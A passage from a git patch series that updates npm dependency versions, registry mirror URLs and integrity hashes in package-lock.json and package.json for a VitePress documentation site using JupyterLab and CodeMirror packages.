"^3.8.0", - "@jupyterlab/translation": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/translation": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -3795,31 +3725,6 @@ "version": "2.1.1", "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" - }, - "react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "requires": { - "loose-envify": "^1.1.0" - } - }, - "react-dom": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react-dom/-/react-dom-18.2.0.tgz", - "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", - "requires": { - "loose-envify": "^1.1.0", - "scheduler": "^0.23.0" - } - }, - "scheduler": { - "version": "0.23.0", - "resolved": "https://registry.npmmirror.com/scheduler/-/scheduler-0.23.0.tgz", - "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", - "requires": { - "loose-envify": "^1.1.0" - } } } }, @@ -4025,21 +3930,21 @@ } }, "@rjsf/core": { - "version": "5.7.2", - "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.7.2.tgz", - "integrity": "sha512-ur1OZzPb5gHBkLsLJ3iw4HwYt74ak2t/wF9xejbcU93oUpNq/NAe1j/YS6Fy2iHlAvyXwygd3tbECiIK5diaaA==", + "version": "5.8.1", + "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.8.1.tgz", + "integrity": "sha512-+lJKK/fdVO+DqKhSzSY8bjyAv5weoLw44d/DnCn2U8/l9qY0nqfNSvG6gyZIC9kCNnzLS/76XFAltWXgtjjzFQ==", "requires": { "lodash": "^4.17.21", "lodash-es": "^4.17.21", - "markdown-to-jsx": "^7.2.0", + "markdown-to-jsx": "^7.2.1", "nanoid": "^3.3.6", "prop-types": "^15.8.1" } }, "@rjsf/utils": { - "version": "5.7.2", - "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.7.2.tgz", - "integrity": "sha512-d9vdjKzmr922CiODJBJj3od5NgnunGPMbynN//sravh2v8pUekzv3OaD0eB1HA8yPSK6Y054jZqxEGJ/pAPA7g==", + "version": "5.8.1", + "resolved": "https://registry.npmmirror.com/@rjsf/utils/-/utils-5.8.1.tgz", + "integrity": "sha512-kzWVNAW417ADG0nSEPxpqYzLrtzi9tKCCn5rOuwt6FIvSrtkatISBekyKNeycGPUfQR9VkROGrcG8cz10xUs6g==", "requires": { "json-schema-merge-allof": "^0.8.1", "jsonpointer": "^5.0.1", @@ -4635,9 +4540,9 @@ } }, "lib0": { - "version": "0.2.74", - "resolved": "https://registry.npmmirror.com/lib0/-/lib0-0.2.74.tgz", - "integrity": "sha512-roj9i46/JwG5ik5KNTkxP2IytlnrssAkD/OhlAVtE+GqectrdkfR+pttszVLrOzMDeXNs1MPt6yo66MUolWSiA==", + "version": "0.2.78", + "resolved": "https://registry.npmmirror.com/lib0/-/lib0-0.2.78.tgz", + "integrity": "sha512-SV2nU43/6eaYnGH3l0lg2wg1ziB/TH3sAd2E8quXPGwrqo+aX98SNT2ZKucpUr5B8A52jD7ZMjAl+r87Fa/bLQ==", "requires": { "isomorphic.js": "^0.2.4" } @@ -4718,9 +4623,9 @@ } }, "markdown-to-jsx": { - "version": "7.2.0", - "resolved": "https://registry.npmmirror.com/markdown-to-jsx/-/markdown-to-jsx-7.2.0.tgz", - "integrity": "sha512-3l4/Bigjm4bEqjCR6Xr+d4DtM1X6vvtGsMGSjJYyep8RjjIvcWtrXBS8Wbfe1/P+atKNMccpsraESIaWVplzVg==", + "version": "7.2.1", + "resolved": "https://registry.npmmirror.com/markdown-to-jsx/-/markdown-to-jsx-7.2.1.tgz", + "integrity": "sha512-9HrdzBAo0+sFz9ZYAGT5fB8ilzTW+q6lPocRxrIesMO+aB40V9MgFfbfMXxlGjf22OpRy+IXlvVaQenicdpgbg==", "requires": {} }, "mathjax-full": { @@ -4883,13 +4788,20 @@ "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" }, "react": { - "version": "17.0.2", - "resolved": "https://registry.npmmirror.com/react/-/react-17.0.2.tgz", - "integrity": "sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA==", - "peer": true, + "version": "18.2.0", + "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "requires": { + "loose-envify": "^1.1.0" + } + }, + "react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmmirror.com/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", "requires": { "loose-envify": "^1.1.0", - "object-assign": "^4.1.1" + "scheduler": "^0.23.0" } }, "react-is": { @@ -4929,6 +4841,14 @@ "postcss": "^8.3.11" } }, + "scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmmirror.com/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "requires": { + "loose-envify": "^1.1.0" + } + }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", @@ -5237,9 +5157,9 @@ } }, "yjs": { - "version": "13.6.1", - "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.1.tgz", - "integrity": "sha512-IyyHL+/v9N2S4YLSjGHMa0vMAfFxq8RDG5Nvb77raTTHJPweU3L/fRlqw6ElZvZUuHWnax3ufHR0Tx0ntfG63Q==", + "version": "13.6.2", + "resolved": "https://registry.npmmirror.com/yjs/-/yjs-13.6.2.tgz", + "integrity": "sha512-shFc4JI8Hr3NqKYlS09xX6lyQwU3LvQlOXEkHK2aBa1T/luNLf0qHtoujgb9pRPxhIK0uevobHhDw0+AET1Vkw==", "requires": { "lib0": "^0.2.74" } diff --git a/package.json b/package.json index 41e5192..7a51808 100644 --- a/package.json +++ b/package.json @@ -7,8 +7,8 @@ "dependencies": { "@codemirror/lang-python": "^6.1.2", "@codemirror/lang-sql": "^6.5.0", - "@jupyterlab/mathjax2": "^3.6.3", - "@jupyterlab/theme-light-extension": "^4.0.0", + "@jupyterlab/mathjax2": "^3.6.4", + "@jupyterlab/theme-light-extension": "^4.0.2", "markdown-it": "^13.0.1" }, "devDependencies": { From 310d0f6a7a2383f026ce1d595788f1820bc46722 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Tue, 13 Jun 2023 01:56:35 +0800 Subject: [PATCH 07/85] chore: update dependencies --- package-lock.json | 576 ++++++++++++++++++++++++---------------------- package.json | 4 +- 2 files changed, 299 insertions(+), 281 deletions(-) diff --git a/package-lock.json b/package-lock.json index bfa4fdb..163d0fb 100644 --- a/package-lock.json +++ b/package-lock.json @@ -5,7 +5,7 @@ "packages": { "": { "dependencies": { - "@codemirror/lang-python": "^6.1.2", + "@codemirror/lang-python": "^6.1.3", "@codemirror/lang-sql": "^6.5.0", "@jupyterlab/mathjax2": "^3.6.4", "@jupyterlab/theme-light-extension": "^4.0.2", @@ -14,27 +14,38 @@ "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.1" + "vitepress": "^1.0.0-beta.2" } }, "node_modules/@algolia/autocomplete-core": { - "version": "1.8.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-core/-/autocomplete-core-1.8.2.tgz", - "integrity": "sha512-mTeshsyFhAqw/ebqNsQpMtbnjr+qVOSKXArEj4K0d7sqc8It1XD0gkASwecm9mF/jlOQ4Z9RNg1HbdA8JPdRwQ==", + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.9.2.tgz", + "integrity": "sha512-hkG80c9kx9ClVAEcUJbTd2ziVC713x9Bji9Ty4XJfKXlxlsx3iXsoNhAwfeR4ulzIUg7OE5gez0UU1zVDdG7kg==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/autocomplete-shared": "1.8.2" + "@algolia/autocomplete-plugin-algolia-insights": "1.9.2", + "@algolia/autocomplete-shared": "1.9.2" + } + }, + "node_modules/@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.2.tgz", + "integrity": "sha512-2LVsf4W66hVHQ3Ua/8k15oPlxjELCztbAkQm/hP42Sw+GLkHAdY1vaVRYziaWq64+Oljfg6FKkZHCdgXH+CGIA==", + "dev": true, + "dependencies": { + "@algolia/autocomplete-shared": "1.9.2" + }, + "peerDependencies": { + "search-insights": ">= 1 < 3" } }, "node_modules/@algolia/autocomplete-preset-algolia": { - "version": "1.8.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.8.2.tgz", - "integrity": "sha512-J0oTx4me6ZM9kIKPuL3lyU3aB8DEvpVvR6xWmHVROx5rOYJGQcZsdG4ozxwcOyiiu3qxMkIbzntnV1S1VWD8yA==", + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.2.tgz", + "integrity": "sha512-pqgIm2GNqtCT59Y1ICctIPrYTi34+wNPiNWEclD/yDzp5uDUUsyGe5XrUjCNyQRTKonAlmYxoaEHOn8FWgmBHA==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/autocomplete-shared": "1.8.2" + "@algolia/autocomplete-shared": "1.9.2" }, "peerDependencies": { "@algolia/client-search": ">= 4.9.1 < 6", @@ -42,153 +53,142 @@ } }, "node_modules/@algolia/autocomplete-shared": { - "version": "1.8.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-shared/-/autocomplete-shared-1.8.2.tgz", - "integrity": "sha512-b6Z/X4MczChMcfhk6kfRmBzPgjoPzuS9KGR4AFsiLulLNRAAqhP+xZTKtMnZGhLuc61I20d5WqlId02AZvcO6g==", + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.2.tgz", + "integrity": "sha512-XxX6YDn+7LG+SmdpXEOnj7fc3TjiVpQ0CbGhjLwrd2tYr6LVY2D4Iiu/iuYJ4shvVDWWnpwArSk0uIWC/8OPUA==", "dev": true, - "license": "MIT" + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } }, "node_modules/@algolia/cache-browser-local-storage": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.1.tgz", - "integrity": "sha512-e91Jpu93X3t3mVdQwF3ZDjSFMFIfzSc+I76G4EX8nl9RYXgqcjframoL05VTjcD2YCsI18RIHAWVCBoCXVZnrw==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.2.tgz", + "integrity": "sha512-ZkVN7K/JE+qMQbpR6h3gQOGR6yCJpmucSBCmH5YDxnrYbp2CbrVCu0Nr+FGVoWzMJNznj1waShkfQ9awERulLw==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/cache-common": "4.17.1" + "@algolia/cache-common": "4.17.2" } }, "node_modules/@algolia/cache-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-common/-/cache-common-4.17.1.tgz", - "integrity": "sha512-fvi1WT8aSiGAKrcTw8Qg3RYgcwW8GZMHcqEm4AyDBEy72JZlFBSY80cTQ75MslINjCHXLDT+9EN8AGI9WVY7uA==", - "dev": true, - "license": "MIT" + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.17.2.tgz", + "integrity": "sha512-fojbhYIS8ovfYs6hwZpy1O4mBfVRxNgAaZRqsdVQd54hU4MxYDYFCxagYX28lOBz7btcDHld6BMoWXvjzkx6iQ==", + "dev": true }, "node_modules/@algolia/cache-in-memory": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-in-memory/-/cache-in-memory-4.17.1.tgz", - "integrity": "sha512-NbBt6eBWlsXc5geSpfPRC5dkIB/0Ptthw8r0yM5Z7D3sPlYdnTZSO9y9XWXIptRMwmZe4cM8iBMN8y0tzbcBkA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.17.2.tgz", + "integrity": "sha512-UYQcMzPurNi+cPYkuPemTZkjKAjdgAS1hagC5irujKbrYnN4yscK4TkOI5tX+O8/KegtJt3kOK07OIrJ2QDAAw==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/cache-common": "4.17.1" + "@algolia/cache-common": "4.17.2" } }, "node_modules/@algolia/client-account": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-account/-/client-account-4.17.1.tgz", - "integrity": "sha512-3rL/6ofJvyL+q8TiWM3qoM9tig+SY4gB1Vbsj+UeJPnJm8Khm+7OS+r+mFraqR6pTehYqN8yGYoE7x4diEn4aA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.17.2.tgz", + "integrity": "sha512-doSk89pBPDpDyKJSHFADIGa2XSGrBCj3QwPvqtRJXDADpN+OjW+eTR8r4hEs/7X4GGfjfAOAES8JgDx+fZntYw==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.1", - "@algolia/client-search": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/client-search": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "node_modules/@algolia/client-analytics": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-analytics/-/client-analytics-4.17.1.tgz", - "integrity": "sha512-Bepr2w249vODqeBtM7i++tPmUsQ9B81aupUGbDWmjA/FX+jzQqOdhW8w1CFO5kWViNKTbz2WBIJ9U3x8hOa4bA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.17.2.tgz", + "integrity": "sha512-V+DcXbOtD/hKwAR3qGQrtlrJ3q2f9OKfx843q744o4m3xHv5ueCAvGXB1znPsdaUrVDNAImcgEgqwI9x7EJbDw==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.1", - "@algolia/client-search": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/client-search": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "node_modules/@algolia/client-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-common/-/client-common-4.17.1.tgz", - "integrity": "sha512-+r7kg4EgbFnGsDnoGSVNtXZO8xvZ0vzf1WAOV7sqV9PMf1bp6cpJP/3IuPrSk4t5w2KVl+pC8jfTM7HcFlfBEQ==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.17.2.tgz", + "integrity": "sha512-gKBUnjxi0ukJYIJxVREYGt1Dmj1B3RBYbfGWi0dIPp1BC1VvQm+BOuNwsIwmq/x3MPO+sGuK978eKiP3tZDvag==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "node_modules/@algolia/client-personalization": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-personalization/-/client-personalization-4.17.1.tgz", - "integrity": "sha512-gJku9DG/THJpfsSlG/az0a3QIn+VVff9kKh8PG8+7ZfxOHS+C+Y5YSeZVsC+c2cfoKLPo3CuHIiJ/p86erR3bA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.17.2.tgz", + "integrity": "sha512-wc4UgOWxSYWz5wpuelNmlt895jA9twjZWM2ms17Ws8qCvBHF7OVGdMGgbysPB8790YnfvvDnSsWOv3CEj26Eow==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "node_modules/@algolia/client-search": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-search/-/client-search-4.17.1.tgz", - "integrity": "sha512-Q5YfT5gVkx60PZDQBqp/zH9aUbBdC7HVvxupiHUgnCKqRQsRZjOhLest7AI6FahepuZLBZS62COrO7v+JvKY7w==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.17.2.tgz", + "integrity": "sha512-FUjIs+gRe0upJC++uVs4sdxMw15JxfkT86Gr/kqVwi9kcqaZhXntSbW/Fw959bIYXczjmeVQsilYvBWW4YvSZA==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "node_modules/@algolia/logger-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-common/-/logger-common-4.17.1.tgz", - "integrity": "sha512-Us28Ot+fLEmX9M96sa65VZ8EyEEzhYPxfhV9aQyKDjfXbUdJlJxKt6wZpoEg9RAPSdO8IjK9nmuW2P8au3rRsg==", - "dev": true, - "license": "MIT" + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.17.2.tgz", + "integrity": "sha512-EfXuweUE+1HiSMsQidaDWA5Lv4NnStYIlh7PO5pLkI+sdhbMX0e5AO5nUAMIFM1VkEANes70RA8fzhP6OqCqQQ==", + "dev": true }, "node_modules/@algolia/logger-console": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-console/-/logger-console-4.17.1.tgz", - "integrity": "sha512-iKGQTpOjHiE64W3JIOu6dmDvn+AfYIElI9jf/Nt6umRPmP/JI9rK+OHUoW4pKrBtdG0DPd62ppeNXzSnLxY6/g==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.17.2.tgz", + "integrity": "sha512-JuG8HGVlJ+l/UEDK4h2Y8q/IEmRjQz1J0aS9tf6GPNbGYiSvMr1DDdZ+hqV3bb1XE6wU8Ypex56HisWMSpnG0A==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/logger-common": "4.17.1" + "@algolia/logger-common": "4.17.2" } }, "node_modules/@algolia/requester-browser-xhr": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.1.tgz", - "integrity": "sha512-W5mGfGDsyfVR+r4pUFrYLGBEM18gs38+GNt5PE5uPULy4uVTSnnVSkJkWeRkmLBk9zEZ/Nld8m4zavK6dtEuYg==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.2.tgz", + "integrity": "sha512-FKI2lYWwksALfRt2OETFmGb5+P7WVc4py2Ai3H7k8FSfTLwVvs9WVVmtlx6oANQ8RFEK4B85h8DQJTJ29TDfmA==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/requester-common": "4.17.1" + "@algolia/requester-common": "4.17.2" } }, "node_modules/@algolia/requester-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-common/-/requester-common-4.17.1.tgz", - "integrity": "sha512-HggXdjvVFQR0I5l7hM5WdHgQ1tqcRWeyXZz8apQ7zPWZhirmY2E9D6LVhDh/UnWQNEm7nBtM+eMFONJ3bZccIQ==", - "dev": true, - "license": "MIT" + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.17.2.tgz", + "integrity": "sha512-Rfim23ztAhYpE9qm+KCfCRo+YLJCjiiTG+IpDdzUjMpYPhUtirQT0A35YEd/gKn86YNyydxS9w8iRSjwKh+L0A==", + "dev": true }, "node_modules/@algolia/requester-node-http": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-node-http/-/requester-node-http-4.17.1.tgz", - "integrity": "sha512-NzFWecXT6d0PPsQY9L+/qoK2deF74OLcpvqCH+Vh3mh+QzPsFafcBExdguAjZsAWDn1R6JEeFW7/fo/p0SE57w==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.17.2.tgz", + "integrity": "sha512-E0b0kyCDMvUIhQmDNd/mH4fsKJdEEX6PkMKrYJjzm6moo+rP22tqpq4Rfe7DZD8OB6/LsDD3zs3Kvd+L+M5wwQ==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/requester-common": "4.17.1" + "@algolia/requester-common": "4.17.2" } }, "node_modules/@algolia/transporter": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/transporter/-/transporter-4.17.1.tgz", - "integrity": "sha512-ZM+qhX47Vh46mWH8/U9ihvy98HdTYpYQDSlqBD7IbiUbbyoCMke+qmdSX2MGhR2FCcXBSxejsJKKVAfbpaLVgg==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.17.2.tgz", + "integrity": "sha512-m8pXlz5OnNzjD1rcw+duCN4jG4yEzkJBsvKYMoN22Oq6rQwy1AY5muZ+IQUs4dL+A364CYkRMLRWhvXpCZ1x+g==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/cache-common": "4.17.1", - "@algolia/logger-common": "4.17.1", - "@algolia/requester-common": "4.17.1" + "@algolia/cache-common": "4.17.2", + "@algolia/logger-common": "4.17.2", + "@algolia/requester-common": "4.17.2" } }, "node_modules/@babel/parser": { @@ -222,13 +222,13 @@ } }, "node_modules/@codemirror/lang-python": { - "version": "6.1.2", - "resolved": "https://registry.npmmirror.com/@codemirror/lang-python/-/lang-python-6.1.2.tgz", - "integrity": "sha512-nbQfifLBZstpt6Oo4XxA2LOzlSp4b/7Bc5cmodG1R+Cs5PLLCTUvsMNWDnziiCfTOG/SW1rVzXq/GbIr6WXlcw==", + "version": "6.1.3", + "resolved": "https://registry.npmmirror.com/@codemirror/lang-python/-/lang-python-6.1.3.tgz", + "integrity": "sha512-S9w2Jl74hFlD5nqtUMIaXAq9t5WlM0acCkyuQWUUSvZclk1sV+UfnpFiZzuZSG+hfEaOmxKR5UxY/Uxswn7EhQ==", "dependencies": { "@codemirror/autocomplete": "^6.3.2", - "@codemirror/language": "^6.0.0", - "@lezer/python": "^1.0.0" + "@codemirror/language": "^6.8.0", + "@lezer/python": "^1.1.4" } }, "node_modules/@codemirror/lang-sql": { @@ -244,9 +244,9 @@ } }, "node_modules/@codemirror/language": { - "version": "6.6.0", - "resolved": "https://registry.npmmirror.com/@codemirror/language/-/language-6.6.0.tgz", - "integrity": "sha512-cwUd6lzt3MfNYOobdjf14ZkLbJcnv4WtndYaoBkbor/vF+rCNguMPK0IRtvZJG4dsWiaWPcK8x1VijhvSxnstg==", + "version": "6.8.0", + "resolved": "https://registry.npmmirror.com/@codemirror/language/-/language-6.8.0.tgz", + "integrity": "sha512-r1paAyWOZkfY0RaYEZj3Kul+MiQTEbDvYqf8gPGaRvNneHXCmfSaAVFjwRUPlgxS8yflMxw2CTu6uCMp8R8A2g==", "dependencies": { "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.0.0", @@ -272,33 +272,30 @@ } }, "node_modules/@docsearch/css": { - "version": "3.4.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/css/-/css-3.4.0.tgz", - "integrity": "sha512-Hg8Xfma+rFwRi6Y/pfei4FJoQ1hdVURmmNs/XPoMTCPAImU+d5yxj+M+qdLtNjWRpfWziU4dQcqY94xgFBn2dg==", - "dev": true, - "license": "MIT" + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.5.0.tgz", + "integrity": "sha512-Ob5FQLubplcBNihAVtriR59FRBeP8u69F6mu4L4yIr60KfsPc10bOV0DoPErJw0zF9IBN2cNLW9qdmt8zWPxyg==", + "dev": true }, "node_modules/@docsearch/js": { - "version": "3.4.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/js/-/js-3.4.0.tgz", - "integrity": "sha512-uOtOHZJv+5PQmL68+srVzlGhLejnEBJgZl1bR87Zh/uK5RUI7p6el1R8hGTl2F8K2tCloNRxTMtXyYUNbMV+qw==", + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.5.0.tgz", + "integrity": "sha512-WqB+z+zVKSXDkGq028nClT9RvMzfFlemZuIulX5ZwWkdUtl4k7M9cmZA/c6kuZf7FG24XQsMHWuBjeUo9hLRyA==", "dev": true, - "license": "MIT", "dependencies": { - "@docsearch/react": "3.4.0", + "@docsearch/react": "3.5.0", "preact": "^10.0.0" } }, "node_modules/@docsearch/react": { - "version": "3.4.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/react/-/react-3.4.0.tgz", - "integrity": "sha512-ufrp5879XYGojgS30ZAp8H4qIMbahRHB9M85VDBP36Xgz5QjYM54i1URKj5e219F7gqTtOivfztFTij6itc0MQ==", + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.5.0.tgz", + "integrity": "sha512-3IG8mmSMzSHNGy2S1VuPyYU9tFCxFpj5Ov8SYwsSHM4yMvFsaO9oFxXocA5lSenliIELhuOuS5+BdxHa/Qlf2A==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/autocomplete-core": "1.8.2", - "@algolia/autocomplete-preset-algolia": "1.8.2", - "@docsearch/css": "3.4.0", + "@algolia/autocomplete-core": "1.9.2", + "@algolia/autocomplete-preset-algolia": "1.9.2", + "@docsearch/css": "3.5.0", "algoliasearch": "^4.0.0" }, "peerDependencies": { @@ -1678,26 +1675,25 @@ } }, "node_modules/algoliasearch": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/algoliasearch/-/algoliasearch-4.17.1.tgz", - "integrity": "sha512-4GDQ1RhP2qUR3x8PevFRbEdqZqIARNViZYjgTJmA1T7wRNtFA3W4Aqc/RsODqa1J8IO/QDla5x4tWuUS8NV8wA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.17.2.tgz", + "integrity": "sha512-VFu43JJNYIW74awp7oeQcQsPcxOhd8psqBDTfyNO2Zt6L1NqnNMTVnaIdQ+8dtKqUDBqQZp0szPxECvX8CK2Fg==", "dev": true, - "license": "MIT", "dependencies": { - "@algolia/cache-browser-local-storage": "4.17.1", - "@algolia/cache-common": "4.17.1", - "@algolia/cache-in-memory": "4.17.1", - "@algolia/client-account": "4.17.1", - "@algolia/client-analytics": "4.17.1", - "@algolia/client-common": "4.17.1", - "@algolia/client-personalization": "4.17.1", - "@algolia/client-search": "4.17.1", - "@algolia/logger-common": "4.17.1", - "@algolia/logger-console": "4.17.1", - "@algolia/requester-browser-xhr": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/requester-node-http": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/cache-browser-local-storage": "4.17.2", + "@algolia/cache-common": "4.17.2", + "@algolia/cache-in-memory": "4.17.2", + "@algolia/client-account": "4.17.2", + "@algolia/client-analytics": "4.17.2", + "@algolia/client-common": "4.17.2", + "@algolia/client-personalization": "4.17.2", + "@algolia/client-search": "4.17.2", + "@algolia/logger-common": "4.17.2", + "@algolia/logger-console": "4.17.2", + "@algolia/requester-browser-xhr": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/requester-node-http": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "node_modules/ansi-colors": { @@ -2393,14 +2389,9 @@ }, "node_modules/preact": { "version": 